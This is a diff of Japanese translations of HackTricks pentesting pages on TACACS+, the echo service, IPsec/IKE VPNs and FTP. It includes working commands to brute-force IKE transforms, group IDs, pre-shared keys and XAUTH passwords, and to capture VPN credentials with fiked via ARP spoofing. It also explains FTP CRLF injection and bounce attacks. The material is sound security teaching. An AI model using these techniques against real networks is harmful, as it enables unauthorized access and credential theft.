クライアントとTACACSサーバーの通信が攻撃者によって傍受されると、**暗号化された認証キーが傍受される可能性があります**。攻撃者は、**ログに検出されることなくキーに対してローカルブルートフォース攻撃を試みることができます**。キーのブルートフォース攻撃に成功すれば、攻撃者はネットワーク機器にアクセスし、Wiresharkのようなツールを使用してトラフィックを復号化できます。
|
||||
|
||||
### MitM攻撃の実行
|
||||
|
||||
|
@ -46,22 +38,17 @@ PORT STATE SERVICE
|
|||
```
|
||||
sudo loki_gtk.py
|
||||
```
|
||||
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
|
||||
If the key is successfully **bruteforced** (**通常はMD5暗号化形式で**)、**機器にアクセスし、TACACS暗号化トラフィックを復号化できます。**
|
||||
|
||||
### トラフィックの復号化
|
||||
Once the key is successfully cracked, the next step is to **decrypt the TACACS-encrypted traffic**. Wireshark can handle encrypted TACACS traffic if the key is provided. By analyzing the decrypted traffic, information such as the **banner used and the username of the admin** user can be obtained.
|
||||
キーが成功裏に解読されると、次のステップは**TACACS暗号化トラフィックを復号化すること**です。Wiresharkは、キーが提供されれば暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されるバナーや管理者ユーザーのユーザー名**などの情報を取得できます。
|
||||
|
||||
By gaining access to the control panel of network equipment using the obtained credentials, the attacker can exert control over the network. It's important to note that these actions are strictly for educational purposes and should not be used without proper authorization.
|
||||
取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワークを制御することができます。これらの行動は教育目的のために厳密に行われるべきであり、適切な承認なしに使用されるべきではないことに注意が必要です。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -13,18 +13,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# 基本情報
|
||||
|
||||
このホスト上でエコーサービスが実行されています。エコーサービスはテストおよび測定目的で設計されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずにそのまま返します。\
|
||||
このホスト上でエコーサービスが実行されています。エコーサービスはテストおよび測定目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずにそのまま返します。\
|
||||
**同じまたは別のマシンのエコーサービスに接続することでサービス拒否を引き起こすことが可能です**。生成されるパケットの数が過剰に高いため、影響を受けたマシンは実質的にサービスから外される可能性があります。\
|
||||
情報元: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
|
@ -34,7 +26,7 @@ PORT STATE SERVICE
|
|||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Echoサービスに連絡する(UDP)
|
||||
## Echoサービスに接続する(UDP)
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -51,12 +43,6 @@ Hello echo #This is the response
|
|||
[CA-1996-01 UDPポートサービス拒否攻撃](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -67,7 +53,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,20 +10,12 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**IPsec**は、ネットワーク間(LAN-to-LAN)およびリモートユーザーからネットワークゲートウェイ(リモートアクセス)への通信を保護するための主要な技術として広く認識されており、企業VPNソリューションのバックボーンとして機能します。
|
||||
|
@ -32,11 +24,11 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、事前共有鍵(PSK)または証明書を使用し、3対のメッセージを含むメインモードまたは**アグレッシブモード**を使用して達成されます。
|
||||
* **フェーズ1.5:** 必須ではありませんが、拡張認証フェーズとして知られるこのフェーズでは、ユーザー名とパスワードを要求することで接続を試みるユーザーの身元を確認します。
|
||||
* **フェーズ2:** このフェーズは、**ESP**および**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。これは、**完璧な前方秘匿性(PFS)**を確保するために、フェーズ1とは異なるアルゴリズムの使用を許可し、セキュリティを強化します。
|
||||
* **フェーズ2:** このフェーズは、**ESP**および**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。これは、**完全前方秘匿性(PFS)**を確保するために、フェーズ1とは異なるアルゴリズムの使用を許可し、セキュリティを強化します。
|
||||
|
||||
**デフォルトポート:** 500/udp
|
||||
|
||||
## **nmapを使用して** サービスを発見する
|
||||
## **nmapを使用して**サービスを発見する
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
|
@ -46,9 +38,9 @@ PORT STATE SERVICE
|
|||
500/udp open isakmp
|
||||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
## **有効な変換を見つける**
|
||||
## **有効な変換の発見**
|
||||
|
||||
IPSecの設定は、1つまたはいくつかの変換のみを受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、**暗号化アルゴリズム**としてのDESまたは3DES、**整合性アルゴリズム**としてのSHAまたはMD5、**認証タイプ**としての事前共有キー、鍵の**配布アルゴリズム**としてのDiffie-Hellman 1または2、**有効期限**としての28800秒などの属性が含まれています。
|
||||
IPSecの設定は、1つまたはいくつかの変換のみを受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、**暗号化アルゴリズム**としてのDESまたは3DES、**整合性アルゴリズム**としてのSHAまたはMD5、**認証タイプ**としての事前共有キー、鍵の**配布アルゴリズム**としてのDiffie-Hellman 1または2、そして**有効期限**としての28800秒などの属性が含まれています。
|
||||
|
||||
次に、最初に行うべきことは、**有効な変換を見つける**ことです。そうすれば、サーバーがあなたと通信します。そのために、ツール**ike-scan**を使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと**8つの変換を含む**単一の提案を持つパケットをゲートウェイに送信します。
|
||||
|
||||
|
@ -63,14 +55,14 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
前の応答で示したように、**AUTH**というフィールドがあり、その値は**PSK**です。これは、VPNが事前共有鍵を使用して構成されていることを意味します(これはペンテスターにとって非常に良いことです)。\
|
||||
**最後の行の値も非常に重要です:**
|
||||
As you can see in the previous response, there is a field called **AUTH** with the value **PSK**. This means that the vpn is configured using a preshared key (and this is really good for a pentester).\
|
||||
**The value of the last line is also very important:**
|
||||
|
||||
* _0 returned handshake; 0 returned notify:_ これは、ターゲットが**IPsecゲートウェイではない**ことを意味します。
|
||||
* _**1 returned handshake; 0 returned notify:**_ これは、**ターゲットがIPsec用に構成されており、IKEネゴシエーションを実行する意向があり、提案した変換の1つ以上が受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
|
||||
* _0 returned handshake; 0 returned notify:_ これはターゲットが**IPsecゲートウェイではない**ことを意味します。
|
||||
* _**1 returned handshake; 0 returned notify:**_ これは**ターゲットがIPsec用に設定されており、IKEネゴシエーションを行う意向があり、提案した変換の1つ以上が受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**変換が受け入れ可能でない場合**に通知メッセージで応答します(ただし、一部のゲートウェイはそうしないため、その場合はさらなる分析と修正された提案を試みる必要があります)。
|
||||
|
||||
この場合、すでに有効な変換がありますが、3番目のケースにいる場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**
|
||||
次に、この場合、すでに有効な変換がありますが、3番目のケースにいる場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**
|
||||
|
||||
まず、すべての可能な変換を作成する必要があります:
|
||||
```bash
|
||||
|
@ -80,13 +72,13 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
|
|||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
もしブルートフォースが機能しなかった場合、サーバーが有効なトランスフォームに対してもハンドシェイクなしで応答している可能性があります。その場合、攻撃的モードを使用して同じブルートフォースを試すことができます:
|
||||
もしブルートフォースが機能しなかった場合、サーバーが有効なトランスフォームに対してもハンドシェイクなしで応答している可能性があります。その場合、攻撃的モードを使用して同じブルートフォースを試すことができます:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
希望としては、**有効な変換が返される**ことです。\
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)を使用して**同じ攻撃**を試すことができます。\
|
||||
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使って変換をブルートフォースすることも試すことができます:
|
||||
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換をブルートフォースすることも試すことができます:
|
||||
```bash
|
||||
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
||||
```
|
||||
|
@ -95,7 +87,7 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
|||
**DHグループ: 14 = 2048ビットMODP**および**15 = 3072ビット**\
|
||||
**2 = HMAC-SHA = SHA1(この場合)。`--trans`形式は$Enc,$Hash,$Auth,$DHです。**
|
||||
|
||||
Ciscoは、DHグループ1および2は強度が不十分であるため使用を避けるように指摘しています。専門家は、**資源の豊富な国々がこれらの弱いグループを使用するデータの暗号を簡単に破ることができる**と考えています。これは、コードを迅速に解読するための特別な方法を使用して行われます。この方法を設定するには多くの費用がかかりますが、これによりこれらの強力な国々は、強度の低いグループ(例えば1,024ビット以下)を使用している場合、暗号化されたデータをリアルタイムで読むことができます。
|
||||
Ciscoは、DHグループ1および2は強度が不十分であるため使用を避けるように指示しています。専門家は、**リソースが豊富な国々はこれらの弱いグループを使用するデータの暗号を簡単に破ることができる**と考えています。これは、コードを迅速に解読するための特別な方法を使用して行われます。この方法を設定するのには多くの費用がかかりますが、強度の低いグループ(例えば、1,024ビット以下)を使用している場合、これらの強力な国々は暗号化されたデータをリアルタイムで読むことができます。
|
||||
|
||||
### サーバーフィンガープリンティング
|
||||
|
||||
|
@ -164,13 +156,13 @@ Or use this dict (is a combination of the other 2 dicts without repetitions):
|
|||
|
||||
デフォルトでは、**ikeforce**は最初にサーバーの動作を確認し、使用する戦術を決定するためにいくつかのランダムなIDを送信します。
|
||||
|
||||
* **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**に関する情報を**検索**することによってグループ名をブルートフォースすることです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
|
||||
* 利用可能な**第二の方法**は、**各試行に送信された応答の数をチェックする**ことです。正しいIDが使用されると、より多くのパケットが送信されることがあります。
|
||||
* **最初の方法**は、**CiscoシステムのDead Peer Detection DPD**に関する情報を**検索することによってグループ名をブルートフォースする**ことです(この情報は、グループ名が正しい場合にのみサーバーによって再生されます)。
|
||||
* **利用可能な第二の方法**は、**各試行に送信された応答の数をチェックする**ことです。正しいIDが使用されると、より多くのパケットが送信されることがあります。
|
||||
* **第三の方法**は、**不正なIDに対する応答で「INVALID-ID-INFORMATION」を検索する**ことです。
|
||||
* 最後に、サーバーがチェックに対して何も再生しない場合、**ikeforce**はサーバーをブルートフォースし、正しいIDが送信されたときにサーバーがパケットで応答するかどうかを確認します。\
|
||||
明らかに、IDをブルートフォースする目的は、有効なIDを持っているときに**PSK**を取得することです。その後、**ID**と**PSK**を使用してXAUTHをブルートフォースする必要があります(有効な場合)。
|
||||
|
||||
特定の変換を発見した場合は、それをikeforceコマンドに追加してください。また、複数の変換を発見した場合は、それらすべてを試すために新しいループを追加してください(すべてを試して、どれかが適切に動作するまで続けるべきです)。
|
||||
特定の変換を発見した場合は、それをikeforceコマンドに追加してください。また、複数の変換を発見した場合は、それらすべてを試すために新しいループを追加してください(すべてを試して、どれかが正常に動作するまで続けるべきです)。
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -201,11 +193,11 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
|
||||
**攻撃的モード IKE** は **事前共有鍵 (PSK)** と組み合わせて **グループ認証** の目的で一般的に使用されます。この方法は **XAuth (拡張認証)** によって強化され、追加の **ユーザー認証** 層を導入します。このような認証は通常、**Microsoft Active Directory**、**RADIUS**、または同様のシステムを利用します。
|
||||
|
||||
**IKEv2** に移行すると、**XAuth** の代わりに **EAP (拡張認証プロトコル)** がユーザー認証の目的で使用されるという顕著な変化が見られます。この変更は、安全な通信プロトコル内での認証慣行の進化を強調しています。
|
||||
**IKEv2** に移行すると、**XAuth** の代わりに **EAP (拡張認証プロトコル)** がユーザー認証の目的で利用される顕著な変化が見られます。この変更は、安全な通信プロトコル内での認証慣行の進化を強調しています。
|
||||
|
||||
### ローカルネットワーク MitM による資格情報のキャプチャ
|
||||
|
||||
ログインのデータを _fiked_ を使用してキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックを `fiked` にリダイレクトしてスニッフィングを行う必要があります。これはARPスプーフィングの助けを借りて行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked は VPN エンドポイントとして機能し、XAuth 資格情報をキャプチャします:
|
||||
したがって、_fiked_ を使用してログインのデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できます(IKEトラフィックを `fiked` にリダイレクトしてスニッフィングを行う必要があります。これはARPスプーフィングの助けを借りて行うことができます、[詳細情報](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked は VPN エンドポイントとして機能し、XAuth 資格情報をキャプチャします:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
|
@ -213,13 +205,13 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|||
|
||||
### ikeforceを使用したXAUTHユーザー名とパスワードのブルートフォース
|
||||
|
||||
**XAUTH**(有効なグループ名**id**と**psk**がわかっている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:
|
||||
**XAUTH**をブルートフォースするには(有効なグループ名**id**と**psk**がわかっている場合)、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
この方法で、ikeforceは各ユーザー名:パスワードの組み合わせを使用して接続を試みます。
|
||||
|
||||
有効な変換が1つ以上見つかった場合は、前のステップと同様にそれらを使用してください。
|
||||
有効な変換が1つまたは複数見つかった場合は、前のステップと同様にそれらを使用してください。
|
||||
|
||||
## IPSEC VPNによる認証
|
||||
|
||||
|
@ -239,17 +231,17 @@ root@system:~# vpnc samplevpn
|
|||
VPNC started in background (pid: [PID])...
|
||||
root@system:~# ifconfig tun0
|
||||
```
|
||||
In this setup:
|
||||
このセットアップでは:
|
||||
|
||||
* `[VPN_GATEWAY_IP]`をVPNゲートウェイの実際のIPアドレスに置き換えます。
|
||||
* `[VPN_CONNECTION_ID]`をVPN接続の識別子に置き換えます。
|
||||
* `[VPN_GROUP_SECRET]`をVPNのグループシークレットに置き換えます。
|
||||
* `[VPN_USERNAME]`と`[VPN_PASSWORD]`をVPN認証情報に置き換えます。
|
||||
* `[PID]`は、`vpnc`が開始されるときに割り当てられるプロセスIDを示します。
|
||||
* `[VPN_GATEWAY_IP]` をVPNゲートウェイの実際のIPアドレスに置き換えます。
|
||||
* `[VPN_CONNECTION_ID]` をVPN接続の識別子に置き換えます。
|
||||
* `[VPN_GROUP_SECRET]` をVPNのグループシークレットに置き換えます。
|
||||
* `[VPN_USERNAME]` と `[VPN_PASSWORD]` をVPN認証情報に置き換えます。
|
||||
* `[PID]` は `vpnc` が開始されるときに割り当てられるプロセスIDを示します。
|
||||
|
||||
VPNを構成する際には、プレースホルダーを置き換えるために実際の安全な値を使用してください。
|
||||
|
||||
## Reference Material
|
||||
## 参考資料
|
||||
|
||||
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||
|
@ -260,22 +252,17 @@ VPNを構成する際には、プレースホルダーを置き換えるため
|
|||
|
||||
* `port:500 IKE`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,18 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
**ファイル転送プロトコル (FTP)** は、サーバーとクライアント間でコンピュータネットワークを介してファイルを転送するための標準プロトコルです。\
|
||||
これは**プレーンテキスト**プロトコルで、**新しい行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。
|
||||
これは**プレーンテキスト**プロトコルで、**改行文字 `0x0d 0x0a`** を使用するため、時には**`telnet`**または**`nc -C`**を使用して**接続する必要があります**。
|
||||
|
||||
**デフォルトポート:** 21
|
||||
```
|
||||
|
@ -136,7 +128,7 @@ nmap --script ftp-* -p 21 <ip>
|
|||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
注意すべきは、**ウェブアプリケーション**がユーザーによって制御されるデータを**直接FTPサーバー**に送信している場合、二重URLエンコードされた`%0d%0a`(二重URLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーが任意のアクションを実行**することができるということです。この任意のアクションの一つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例えばhttp)と通信を試みたりすることです。
|
||||
注意すべきは、**ウェブアプリケーション**がユーザーによって制御されるデータを**直接FTPサーバー**に送信している場合、ダブルURLエンコードされた`%0d%0a`(ダブルURLエンコードでは`%250d%250a`)バイトを送信することで、**FTPサーバーが任意のアクションを実行**することができるということです。この任意のアクションの一つは、ユーザーが制御するサーバーからコンテンツをダウンロードしたり、ポートスキャンを実行したり、他のプレーンテキストベースのサービス(例えばhttp)と通信を試みたりすることです。
|
||||
|
||||
## FTPからすべてのファイルをダウンロードする
|
||||
```bash
|
||||
|
@ -151,16 +143,16 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
* **`USER username`**
|
||||
* **`PASS password`**
|
||||
* **`HELP`** サーバーがサポートしているコマンドを示します
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*これは、FTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します(_5番目の文字を「0」にし、6番目を10進数でポートにする必要があります。または、5番目と6番目を使ってポートを16進数で表現します_)。
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*これは、FTPサーバーにIP 127.0.0.1のポート80でTCP接続を確立するよう指示します(_「2」によって示されます_)。このコマンドは**IPv6をサポートしています**。
|
||||
* **`HELP`** サーバーはサポートされているコマンドを示します
|
||||
* \*\*`PORT 127,0,0,1,0,80`\*\*これはFTPサーバーにIP 127.0.0.1のポート80で接続を確立するよう指示します(_5番目の文字を「0」にし、6番目を10進数でポートとして指定するか、5番目と6番目を使ってポートを16進数で表現する必要があります_)。
|
||||
* \*\*`EPRT |2|127.0.0.1|80|`\*\*これはFTPサーバーにIP 127.0.0.1のポート80でTCP接続を確立するよう指示します(_「2」によって示されます_)。このコマンドは**IPv6をサポートしています**。
|
||||
* **`LIST`** 現在のフォルダー内のファイルのリストを送信します
|
||||
* **`LIST -R`** 再帰的にリスト(サーバーが許可している場合)
|
||||
* **`APPE /path/something.txt`** これは、FTPに**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示します。ファイル名が存在する場合、データを追加します。
|
||||
* **`STOR /path/something.txt`** `APPE`のように、ファイルを上書きします
|
||||
* **`STOU /path/something.txt`** `APPE`のように、存在する場合は何もしません。
|
||||
* **`APPE /path/something.txt`** これはFTPに**パッシブ**接続または**PORT/EPRT**接続から受信したデータをファイルに保存するよう指示します。ファイル名が存在する場合、データを追加します。
|
||||
* **`STOR /path/something.txt`** `APPE`のように、しかしファイルを上書きします
|
||||
* **`STOU /path/something.txt`** `APPE`のように、しかし存在する場合は何もしません。
|
||||
* **`RETR /path/to/file`** パッシブまたはポート接続を確立する必要があります。その後、FTPサーバーはその接続を通じて指定されたファイルを送信します
|
||||
* **`REST 6`** これは、次回`RETR`を使用して何かを送信する際に6バイト目から開始するようサーバーに指示します。
|
||||
* **`REST 6`** これはサーバーに次回`RETR`を使用して何かを送信する際に6バイト目から開始するよう指示します。
|
||||
* **`TYPE i`** 転送をバイナリに設定します
|
||||
* **`PASV`** これはパッシブ接続を開き、ユーザーが接続できる場所を示します
|
||||
* **`PUT /tmp/file.txt`** 指定されたファイルをFTPにアップロードします
|
||||
|
@ -173,26 +165,26 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
|||
|
||||
[**ここでFTPサーバーを悪用してポートをスキャンする方法を学びましょう。**](ftp-bounce-attack.md)
|
||||
|
||||
この動作を悪用して、FTPサーバーを他のプロトコルと相互作用させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます(_新しい管理ユーザーを追加するため?_)または、FTPリクエストをアップロードして、脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\
|
||||
この動作を悪用して、FTPサーバーを他のプロトコルと相互作用させることもできます。**HTTPリクエストを含むファイルをアップロード**し、脆弱なFTPサーバーに**任意のHTTPサーバーに送信させる**ことができます(_新しい管理者ユーザーを追加するため?_)または、FTPリクエストをアップロードして脆弱なFTPサーバーに別のFTPサーバーからファイルをダウンロードさせることもできます。\
|
||||
理論は簡単です:
|
||||
|
||||
1. **脆弱なサーバーにリクエスト(テキストファイル内)をアップロードします。** 他のHTTPまたはFTPサーバーと通信する場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。
|
||||
2. **`REST X`を使用して、送信したくない文字を送信しないようにします**(おそらく、リクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを入れる必要がありました)。
|
||||
1. **脆弱なサーバーにリクエスト(テキストファイル内)をアップロードします。** 他のHTTPまたはFTPサーバーと通信したい場合は、`0x0d 0x0a`で行を変更する必要があることを忘れないでください。
|
||||
2. **`REST X`を使用して送信したくない文字を送信しないようにします**(_リクエストをファイル内にアップロードするために、最初にいくつかの画像ヘッダーを入れる必要があるかもしれません_)
|
||||
3. **`PORT`を使用して任意のサーバーとサービスに接続します**
|
||||
4. **`RETR`を使用して保存されたリクエストをサーバーに送信します。**
|
||||
|
||||
